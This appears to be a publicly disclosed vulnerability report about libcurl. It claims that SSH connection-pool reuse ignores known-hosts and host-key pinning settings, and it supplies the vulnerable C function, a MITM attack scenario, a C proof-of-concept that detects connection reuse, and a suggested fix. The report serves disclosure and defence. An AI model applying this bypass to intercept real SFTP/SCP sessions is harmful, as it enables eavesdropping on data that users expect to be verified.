HexBrain

curl · Report #3639277

Bypassing Strict SSH Server Verification via Connection Pool Reuse in libcurl

Informativestatus
37upvotes
31 Mar 2026disclosed

How it was found

Summary

There is a logic flaw in how libcurl manages its connection pool for SSH protocols (SFTP/SCP). When evaluating an existing connection for reuse, ssh_config_matches() (in lib/url.c) fails to compare server identity verification policies.

By ignoring CURLOPT_SSH_KNOWNHOSTS, CURLOPT_SSH_HOST_PUBLIC_KEY_MD5, and CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 during the matching process, libcurl allows a handle with strict security requirements to reuse an existing, unverified, or MITM'd connection established by a previous relaxed handle.

Technical Details

The Flaw

In libcurl, connection reuse is governed by protocol-specific matching functions. While the TLS backend strictly enforces that security configurations (like verifypeer) must match between handles for a connection to be reused, the SSH backend lacks these checks.

In lib/url.c, the ssh_config_matches function only compares client-side RSA keys:

static bool ssh_config_matches(struct connectdata *one,
                               struct connectdata *two)
{
  struct ssh_conn *sshc1, *sshc2;

  sshc1 = Curl_conn_meta_get(one, CURL_META_SSH_CONN);
  sshc2 = Curl_conn_meta_get(two, CURL_META_SSH_CONN);
  return sshc1 && sshc2 && Curl_safecmp(sshc1->rsa, sshc2->rsa) &&
          Curl_safecmp(sshc1->rsa_pub, sshc2->rsa_pub);
}

It entirely omits the server verification policy options. If Handle A connects without host key verification and Handle B connects with strict verification, libcurl sees them as a "perfect match" because their client keys (often both NULL) are identical.

Attack Scenario

  1. Handle A (Relaxed): A routine connects to sftp://example.com. It does not enforce a known_hosts file. An attacker performs a Man-in-the-Middle (MITM) attack; the connection is established and added to the pool.
  2. Handle B (Strict): A separate routine handles sensitive data and connects to the same host. It explicitly sets CURLOPT_SSH_KNOWNHOSTS to a trusted file to prevent MITM.
  3. The Bypass: ssh_config_matches() evaluates the connection from Handle A. Since the client credentials match, it reuses the connection.
  4. Impact: Handle B bypasses the handshake entirely. It communicates over the MITM'd connection, ignoring the strict security policy set by the developer.

Proof of Concept (PoC)

The following C program demonstrates the bypass using a shared connection cache (CURLSH).

#include <curl/curl.h>
#include <stdio.h>

int main(void) {
  CURL *h1, *h2;
  CURLSH *share;
  long connects = 0;

  curl_global_init(CURL_GLOBAL_DEFAULT);
  share = curl_share_init();
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);

  h1 = curl_easy_init();
  h2 = curl_easy_init();

  if(h1 && h2) {
    /* Handle 1: Relaxed connection */
    curl_easy_setopt(h1, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
    curl_easy_setopt(h1, CURLOPT_SHARE, share);
    printf("--- Transfer 1 (Relaxed initial connection) ---\n");
    curl_easy_perform(h1);

    /* Handle 2: Security-critical connection */
    curl_easy_setopt(h2, CURLOPT_URL, "sftp://demo:[email protected]/readme.txt");
    curl_easy_setopt(h2, CURLOPT_SHARE, share);
    
    /* Strict policy: verify against a non-existent file (should fail) */
    curl_easy_setopt(h2, CURLOPT_SSH_KNOWNHOSTS, "non_existent_file.txt");

    printf("\n--- Transfer 2 (Strict Policy Requested) ---\n");
    curl_easy_perform(h2);

    curl_easy_getinfo(h2, CURLINFO_NUM_CONNECTS, &connects);
    if(connects == 0) {
      printf("\nVULNERABLE: Transfer 2 reused the relaxed connection from Transfer 1!\n");
      printf("CURLOPT_SSH_KNOWNHOSTS was bypassed.\n");
    } else {
      printf("\nNOT VULNERABLE: Connection reuse denied.\n");
    }

    curl_easy_cleanup(h1);
    curl_easy_cleanup(h2);
  }

  curl_share_cleanup(share);
  curl_global_cleanup();
  return 0;
}

Suggested Mitigation

Modify lib/url.c:ssh_config_matches() to ensure that connections are only reused if the following security strings in data->set.str[] match:

  • STRING_SSH_KNOWNHOSTS
  • STRING_SSH_HOST_PUBLIC_KEY_MD5
  • STRING_SSH_HOST_PUBLIC_KEY_SHA256

Impact

Summary:

This is a High Severity authentication bypass. It breaks the security guarantees of host key pinning and known_hosts verification in multi-tenant or shared-pool environments (e.g., PHP-FPM, proxies, or applications using CURLM). An attacker can intercept sensitive SFTP/SCP data even when the application specifically requests encrypted and verified sessions.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original